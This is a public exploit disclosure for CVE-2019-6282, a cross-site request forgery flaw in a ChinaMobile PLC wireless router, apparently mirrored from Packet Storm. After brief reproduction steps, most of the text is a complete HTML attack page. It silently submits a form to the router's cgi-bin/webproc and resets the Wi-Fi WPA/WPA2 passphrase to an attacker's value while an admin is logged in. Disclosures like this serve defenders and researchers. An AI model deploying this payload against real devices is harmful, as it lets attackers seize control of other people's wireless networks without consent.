PLC Wireless Router GPN2.4P21-C-CN Cross Site Request Forgery

2019-01-2200:00:00

Kumar Saurav

packetstormsecurity.com

0.007 Low

EPSS

Percentile

80.2%

JSON

`# Exploit Title: PLC Wireless Router GPN2.4P21-C-CN -Cross-Site Request Forgery (CSRF)  
# Date: 15/01/2019  
# Exploit Author: Kumar Saurav  
# Vendor: ChinaMobile  
# Category: Hardware  
# Version: GPN2.4P21-C-CN (Firmware: W2001EN-00)  
# Tested on: Windows  
# CVE : CVE-2019-6282  
  
#Description: ChinaMobile PLC Wireless Router GPN2.4P21-C-CN devices with firmware  
W2001EN-00 have CSRF vulnerability via the cgi-bin/webproc?getpage=html/index.html  
subpage=wlsecurity URI, allowing an Attacker to change the Wireless Security Password.  
  
#Reproduction Steps:  
  
Note: This enables an attacker to perform an unwanted action on a wireless router for which the user/admin is currently authenticated.  
  
Step 1: User login to PLC wireless router  
  
Step 2: User visits the attacker's malicious web page (PLC_CSRF.html)  
  
Step 3: PLC_CSRF.html exploits CSRF vulnerability and changes the wireless Security (WPA/WPA2) key to "PSWDmatlo331#@!"  
  
Step 4: (192.168.59.254 in my Case)  
  
<html>  
<body>  
<form method="POST" action="http://192.168.59.254:80/cgi-bin/webproc">  
<input type="text" name="sessionid" value="2a39a09e">  
<input type="text" name="language" value="en_us">  
<input type="text" name="sys_UserName" value="admin">  
<input type="text" name="var:menu" value="setup">  
<input type="text" name="var:page" value="wireless">  
<input type="text" name="var:subpage" value="wlsecurity">  
<input type="text" name="var:errorpage" value="wlsecurity">  
<input type="text" name="getpage" value="html/index.html">  
<input type="text" name="errorpage" value="html/index.html">  
<input type="text" name="var:arrayid" value="0">  
<input type="text" name="obj-action" value="set">  
<input type="text" name=":InternetGatewayDevice.LANDevice.1.WLANConfiguration.1.BeaconType" value="11i">  
<input type="text" name=":InternetGatewayDevice.LANDevice.1.WLANConfiguration.1.IEEE11iEncryptionModes" value="AESEncryption">  
<input type="text" name=":InternetGatewayDevice.LANDevice.1.WLANConfiguration.1.IEEE11iAuthenticationMode" value="PSKAuthentication">  
<input type="text" name=":InternetGatewayDevice.LANDevice.1.WLANConfiguration.1.X_TWSZ-COM_WPAGroupRekey" value="100">  
<input type="text" name=":InternetGatewayDevice.LANDevice.1.WLANConfiguration.1.PreSharedKey.1.KeyPassphrase" value="PSWDmatlo331#@!">  
<input type="text" name=":InternetGatewayDevice.LANDevice.1.WLANConfiguration.1.X_TWSZ-COM_PSKExpression" value="KeyPassphrase">  
<input type="submit" value="Send">  
</form>  
</body>  
</html>  
  
`

0.007 Low

EPSS

Percentile

80.2%

JSON

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